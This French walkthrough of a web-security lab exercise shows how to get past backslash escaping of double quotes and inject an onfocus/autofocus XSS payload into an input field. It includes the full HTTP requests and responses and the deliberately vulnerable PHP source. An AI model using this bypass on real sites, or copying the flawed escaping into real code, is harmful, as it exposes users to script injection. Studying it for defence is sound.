Exploitation
Afin de protéger l'application, l'auteur indique qu'il échappe maintenant le caractère "
:
Le caractère "
subit effectivement un traitement, il s'agit d'un échappement par l'insertion du caractère \
:
Copier POST /xss6/ HTTP/1.1
Host: localhost:9003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://localhost:9003
Connection: close
Referer: http://localhost:9003/xss6/
search=whatever%22&submit=Envoyer
Copier HTTP/1.1 200 OK
Server: Apache/2.4.53 (Debian)
X-Powered-By: PHP/8.0.18
Content-Length: 2100
Connection: close
Content-Type: text/html; charset=UTF-8
<div class="form-group col-md-2">
<input type="text" class="form-control" id="search" name="search" value="whatever\"" placeholder="keyword" required>
</div>
Le contournement qui me parait le plus évident à tester est d'insérer également un caractère \
afin d'échapper l'échappement :
Copier POST /xss6/ HTTP/1.1
Host: localhost:9003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Origin: http://localhost:9003
Connection: close
Referer: http://localhost:9003/xss6/
search=whatever%5C%22&submit=Envoyer
Copier HTTP/1.1 200 OK
Server: Apache/2.4.53 (Debian)
X-Powered-By: PHP/8.0.18
Content-Length: 2101
Connection: close
Content-Type: text/html; charset=UTF-8
<div class="form-group col-md-2">
<input type="text" class="form-control" id="search" name="search" value="whatever\\"" placeholder="keyword" required>
</div>
Cela semble fonctionner :
Il ne me reste plus qu'à adapter ma payload basée sur l'autofocus whatever\" onfocus=alert(1) autofocus x=\"
(attention, j'enlève également les guillemets autour du code Javascript) :
Copier POST /xss6/ HTTP/1.1
Host: localhost:9003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
Origin: http://localhost:9003
Connection: close
Referer: http://localhost:9003/xss6/
search=whatever%5C%22+onfocus%3Dalert%281%29+autofocus+x%3D%5C%22&submit=Envoyer
Copier HTTP/1.1 200 OK
Server: Apache/2.4.53 (Debian)
X-Powered-By: PHP/8.0.18
Content-Length: 2134
Connection: close
Content-Type: text/html; charset=UTF-8
<div class="form-group col-md-2">
<input type="text" class="form-control" id="search" name="search" value="whatever\\" onfocus=alert(1) autofocus x=\\"" placeholder="keyword" required>
</div>
Analyse du code source
La fonction xss_check()
effectue un traitement sur le caractère "
qui se retrouve échappé par l'ajout d'un \
devant chaque occurrence. Le mot clé est ensuite affiché en tant que valeur de l'attribut HTML value
:
Copier <?php
if (isset ($_POST['submit']) && isset ($_POST['search'])) {
$keyword = $_POST['search'];
}
function xss_check($data) {
$input = str_replace('"', '\"', $data);
$input = urldecode($input);
return $input;
}
?>
<div class="row">
<form name="forgetPass" method="post">
<div class="form-group col-md-2">
<input type="text" class="form-control" id="search" name="search" value="<?php if (isset ($keyword) && !empty ($keyword)){ echo xss_check($keyword); }?>" placeholder="keyword" required>
</div>
<div class="form-group col-md-2">
<input type="submit" class="form-control btn btn-default" name="submit">
</div>
</form>
</div>